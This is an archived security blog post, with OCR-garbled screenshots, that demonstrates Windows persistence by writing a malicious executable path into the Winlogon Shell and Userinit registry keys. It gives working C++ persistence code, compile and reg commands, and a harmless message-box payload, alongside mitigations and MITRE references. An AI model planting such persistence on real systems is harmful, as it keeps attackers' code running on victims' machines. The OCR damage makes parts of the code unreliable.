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example.

By cocomelonc

Published: 2022-06-12 - Archived: 2026-04-06 00:08:32 UTC

4 minute read

FET]
i

Hello, cybersecurity enthusiasts and white hackers!

<windows.h> 4] win10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

<string.h> File Machine View Input Devices Help

int main(int argc, char* argv[]) {
HKEY hkey NULL;

. A1l rights

|

General statistics Performance Threads Token Modues Memory Emvironment Handles GPU  Comment

File

e /A
(UNVERIFIED)

Version: NJA
Image file name:
[\WBoxswr \shared\2022-06-12-maare-pers-7ihack.exe

Process

LOWG res = RegOpen : DT i e e |
Started: [ 36 seconds ago (3:00:07PM &/12/2023) |
PEB address: [oarfzsoon |k [ ] mage type: s+t

Farent; [ winlogon.exe (4772)

1S

Hackeq
2, Reff  Mitgation polcies: | GEP (permanent); ASLR (igh entropy) | [ petais Processes (Culs K]

x(hkey, (LPCS "Userinit", 6 Frocess  protection: Mone Permissions | | Terminate
hkey) ;

Nindows Ser..
Nindows Ser...
Nindows Ser...

o Type here to search

Today I’1l write about the result of my own research into another persistence trick: Winlogon registry keys.

winlogonPermalink

The Winlogon process is responsible for user logon and logoff, startup and shutdown and locking the screen.

Authors of malware could alter the registry entries that the Winlogon process uses to achieve persistence.
The following registry keys must be modified in order to implement this persistence technique:

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
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However, local administrator privileges are required to implement this technique.

practical examplePermalink

First of all create our malicious application ( hack.cpp ):

/*
meow-meow messagebox
author: @cocomelonc
*/

#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR 1pCmdLine, int nCmdShow) {
MessageBoxA(NULL, "Meow-meow!","=A..A=", MB_0K);

return 9;

As you can see, it’s just a pop-up “meow” message as usually.

Let’s go to compile it:
x86_64-wb4-mingw32-g++ -02 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-
~/hacking/cybersec_blog/2022-06-12-malware-pers-7]
hack.cpp hack.exe

) - [~/hacking/cybersec_blog/2022-06-12-malware-pers-7]

-rwxr-xr-x 1 cocomelonc cocomelonc 14848 Jun 12 14:16 hack.exe
-rw-r--r-- 1 cocomelonc cocomelonc 232 Jun 12 14:16 hack.cpp
-rw-r--r-- 1 cocomelonc cocomelonc 1004 Jun 12 12:07 pers.cpp

) - [~/hacking/cybersec_blog/2022-06-12-malware-pers-7]

The generated hack.exe needs to be dropped into the victim’s machine.

Changes to the Shell registry key that include an malicious app will result in the execution of both

explorer.exe and hack.exe during Windows logon.

This can be done immediately using the script below:

/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html
*/
#include <windows.h>

#include <string.h>
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int main(int argc, char* argv[]) {
HKEY hkey = NULL;

// shell
// const char* sh = "explorer.exe,Z:\\2022-06-12-malware-pers-7\\hack.exe";

const char* sh = "explorer.exe, hack.exe";

// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogo
if (res == ERROR_SUCCESS) {

// create new registry key

// reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ
RegSetValueEx(hkey, (LPCSTR)"Shell", @, REG_SZ, (unsigned char*)sh, strlen(sh));
RegCloseKey(hkey);

return 0;

Also, similar for Userinit . If this registry key include an malicious app will result in the execution of both

userinit.exe and hack.exe during Windows logon:

/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html
*/
#include <windows.h>

#include <string.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;

// userinit
const char* ui = "C:\\Windows\\System32\\userinit.exe,Z:\\2022-06-12-malware-pers-7\\hack.exe";

// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogo
if (res == ERROR_SUCCESS) {

// create new registry key

// reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ
RegSetValueEx(hkey, (LPCSTR)"Userinit", @, REG_SZ, (unsigned char*)ui, strlen(ui));
RegCloseKey(hkey);
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return 9;

So, compile the program responsible for persistence:

x86_64-wb4-mingw32-g++ -02 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-:

[~/hacking/cybersec_blog/2022-06-12-malware-pers-7]
++ pers.cpp pers.exe

) - [~/hacking/cybersec_blog/2022-06-12-malware-pers-7]

cocomelonc cocomelonc 15360 Jun 12 14:17 pers.exe
cocomelonc cocomelonc 14848 Jun LZ 14:1b hack.exe
cocomelonc cocomelonc 232 Jun 12 14:16 hack.cpp
cocomelonc cocomelonc 1004 Jun 12 12:07 pers.cpp

) - [~/hacking/cybersec_blog/2022-06-12-malware-pers-7]

demoPermalink

And see everything in action. First of all, check registry keys:

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /s
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winl10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

Input Devices

NT\CurrentVersion\Winlogon

REG_D
tructure

ut
untLimit

NT\Current

NT\Current

NT\Current
Group Policy

@Ewlgpclnt.dll,-
gpclnt.dll

H e here to search g ™

Copy malicious app to C:\Windows\System32\ . And run:

.\pers.exe
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winl0-x64 (persistence_1) [Running] - Oracle VM VirtualBox

Input Devices Help

15 HEG_I
tructure

=]

W B2 #| 6 B Right Ctrl

Then, logout and login:
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win10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine Vi Help

Signing out

B OIS &sHEEE T S0 Right Ctrl

According to the logic of the our malicious program, “meow-meow” popped up:
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L] win10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Meow-meow!

=

241 PM
£ W onp M

O Type here to search
2 ON o & IS E ¥ 6K Right Ctrl

pers.cpp

Win10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Copyright (C) Micresoft Corporation. All rights reserved.

<windows . h>
<string.h> HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartsnell X x
Background  REG_SZ o
. X CachedLogonsCount  REG.SZ 10
int main(int argc, char* argv[]) { DebugServerCommand  REG SZ  no
DisableBackButton  REGDWORD  6x1
HKEY hkey NULL; EnableSTHostTntegration  REG_DWORD  @xl
ForcelnlockLogon  REG_DWORD  0x0
LegalNoticeCaption  REG SZ
LegallNoticeText  REG_SZ
PasswordExpirykarning REG_DWORD x5
PonerdownAfterShutdown  REGSZ @
PreCreateknownFolders — REG_SZ  {AS20A1A4-1780-4F F6-BD16-167343CSAF16}
sh = "explorer.exe, hack.exe"; Srenn Rt sz uptorer.exe,hack axe
ShellCritical  REG DWORD  @xd
ShellInfrastructure  REGSZ  sihost.exe
SiHostCritical  REG_DWORD  @x@
SiHostReadyTineOut  REG_DWORD  0x0
SiHostRestartCountLimit REG_DWORD oxe
SitostRestartTimeGap  REG_DWORD  Ox0
Userinit  REGSZ  C:\Windows\systems2\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled  REGSZ  ©
screnoveoption  REGSZ O
LONG res = RegOpenKeyEx(HKEY LOCAL MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\W B N
LostLog0FFEndTinePerfCounter  REG QWORD  0x47830aa0ed
ShutdownFlags ~ REG_DWORD  @x80000027
EnableFirstiogonAnination  REG_OWORD  OxL

(res ERROR_SUCCESS) {
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells

char

Meow-meow!

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
. - HKEY_LOCAL_MACHINE\Software\Microsoft\iindows NT\CurrentVersion\Winlogon\GPExtensions\{@ACDDAGCATSAT 47 ab-BARD-BF GDETETT|
0, REG SZ, (unsigned char*)sh, strle E63;
245PM
[J A~ 3
WO F B & ~oQw 0 B

BOKT ¢ mES T 68 Right Ctrl

RegSetValueEx (hkey, (LPCSTR)"Shell",

RegCloseKey (hkey) ;

Let’s check process properties via Process Hacker 2:
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winl0-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine Vie Devices Help

[85] hack.exe (4384) Properties

General  Statistics  Performance Threads Token Modules Memory Enwironment Handles GPU Comment

File
L EI
{UMVERIFIED)

% Refresh Version: M/A

= H
Hacker View
e (Ctrl+K)

Processes  Sd Image file name:
| Ci\Windows\System32thack. exe

MName

A sluiexe
[] fontdrvh
A sluiexe
] swchost.el Current directory: | C:Windows\system32\ |

Process
Command line: | hack.exe |

-1

- Searching Started: [ @ minute and 31 seconds ago (2:41:32 PM 5/12/2022) |
= winlogon

M cluiexe PEB address: | 0x5e2ad 16000 | Image type: 64-bit
] .

explorer.g Parent: | Mon-existent process (4252) |
[8z] hack.exe
@ ctfmon.e
1% ProcessH Protection: Mone Terminate
[#5] swchost.gf
[#5] swchost.gf
§% VBoxTray.
=

[}
B ok #uEE | S0 Right Ctrl

Mitigation policies: | DEP {permanent); ASLR (high entropy) | Details

Then, cleanup:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "ex|
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winl10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

NT\CurrentV

Firefy

ntLimit
tTimeGap

NT\CurrentV
NT\Curren
NT\Current

o Z4TPM
pe here to search ; AL T

W == ¥ 3 B2 Right Ctrl

What about another key Userinit.exe ? Let’s check. Run:

.\pers.exe
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win10-x64 (persistence_1) [Running] - Oracle VM Virtual Box

File Machine Vi Input Devices Help

NT\CurrentVe

Micros
Edg

11Critical REG_DWORD
ructure

NT\CurrentVers
NT\CurrentV
NT\Current

Group Policy
@wlgpclnt.dll,-1

Logout and login:
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win10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine Vie - s Help

Signing out

B Ok & E L ¥ &0 Right Cirl
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winl0-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

malware

pestudio

Meow-meow!

| Studio
Code

Then, for the purity of experiment, check properties of hack.exe in Process Hacker 2:
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winl0-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Recycle Bin PE-bear malware

7]
Microsoft pestudio Wireshark
Edge

Firefox

Meow-meow!

Process dllexp

dbg procexpb

As you can see, parent process is winlogon.exe .

Cleanup:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d '
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L] winl10-x64 (persistence_1) [Running] - Oracle VM Virtual Box

File Machine View Input Devices Help

EN Administrator: Windows PowerShell

NT\CurrentVi
Micros .
Edg 3ackground
CachedLogo

ellCritical REG_DW
ellInfr tructure
tCritical

NTA\CurrentVi inlogon

NT\CurrentV: ion\Winlogon\GP

- O Type here to search 4 ™ £ o

| 43 O Right Ctrl

As you can see in both cases, the malware will be executed during Windows authentication.

But there are interesting caveat. For example if we update registry key as following logic:

/*
pers.cpp

windows persistence via winlogon keys

author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html
*/

#include <windows.h>

#include <string.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;

// shell
const char* sh = "explorer.exe,Z:\\2022-06-12-malware-pers-7\\hack.exe";
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// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogo
if (res == ERROR_SUCCESS) {

// create new registry key

// reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ
RegSetValueEx(hkey, (LPCSTR)"Shell", @, REG_SZ, (unsigned char*)sh, strlen(sh));
RegCloseKey(hkey);

return 9;

That is, our malware is located along the path: Z:\...\hack.exe instead of C:\Windows\System32\hack.exe .

Run:

.\pers.exe

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /s

=:\‘, win10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

EN Administrator: Windows PowerShell

cle Bin

on\kWinlogon

CachedLogonsCount
rCommand

alNoticeCaption
alNoticeText

Process

REG_

- O Type here to search 0

And relogin:
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win10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine Vie - s Help

Signing out

B Ok & E L ¥ &0 Right Cirl
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fg winl0-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Meow-meow!

8ok #mE L T 68 Right Cirl

Checking properties of hack.exe :
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winl0-x64 (persistence_1) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Shortcut Tools  Application Tools

Home Share View Manage Manage

« 4~ [ » ThisPC > Deskton w ) Search Desktop
[ hack.exe (4336) Properties — [m} e
7 Quick access

I Neskton
58 r File

General Statistics Performance Threads Token Modules Memory Environment Handles GPU Comment

/A
Hacker View Tool m (UNVERIFIED)

*?g Refresh 23 Opti Version: N/A Search Processes (Ctrl+K)
Processes  Services

Image file name:

Mame | \\WBoxSvrishared\2022-06-12-malware-pers-7hack.exe
[#5] svchost.exe

[ SecurityHealthSe] Process
¢ Searchindexer.ex Command ling: | Z:12022-06-12-malware-pers-Tihack. exe

ctfmon.exe Current directory: | C:\Windows'system32),
1% ProcessHacker.ey

Started: | 2minutes and 48 seconds ago (2:26:56 PM 6/12/2022) |
explorer.exe

== winlogon.exe PEE address: 0x3fe8456000 | Image type: 64-bit
[ dilhost.exe

[#5] taskhostw.exe
[ sihost.exe Mitigation policies: | DEF (permanent); ASLR (high entropy) | Details

[ rundii32.exe Protection: MNone Terminate
B¥ conhost.exe
[#7] hack.exe

[ svchost.exe
5 WmiPrvSE.exe
._] rundll32.exe
[ svchost.exe

Parent: Mon-existent process {4364) |

CPU Usage: 9.70%  Physical memory: 734.13 MB (23.00%) Processes: 51

13items 1 itemn selected 1.92 KB

As you can see, parent process is Non-existent process . Parent will show as Non-existent process since

userinit.exe terminates itself.

There is one more note. Also, the Notify registry key is commonly present in older operating systems (prior to
Windows 7 ) and it points to a notification package DLL file that manages Winlogon events. If you replace the

DLL entries under this registry key with any other DLL, Windows will execute it during logon.

What about mitigations? Limit user account privileges so that only authorized administrators can modify the

Winlogon helper. Tools such as Sysinternals Autoruns may also be used to detect system modifications that may

be attempts at persistence, such as the listing of current Winlogon helper values.

This persistence trick is used by Turla group and software like Gazer and Bazaar in the wild.

MITRE ATT&CK - Boot or LL.ogon Autostart Execution: Winlogon Helper DLL

Turla

Gazer backdoor
Bazaar

source code on Github

This is a practical case for educational purposes only.
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https://attack.mitre.org/techniques/T1547/004/
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Thanks for your time happy hacking and good bye!

PS. All drawings and screenshots are mine

Source: https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html
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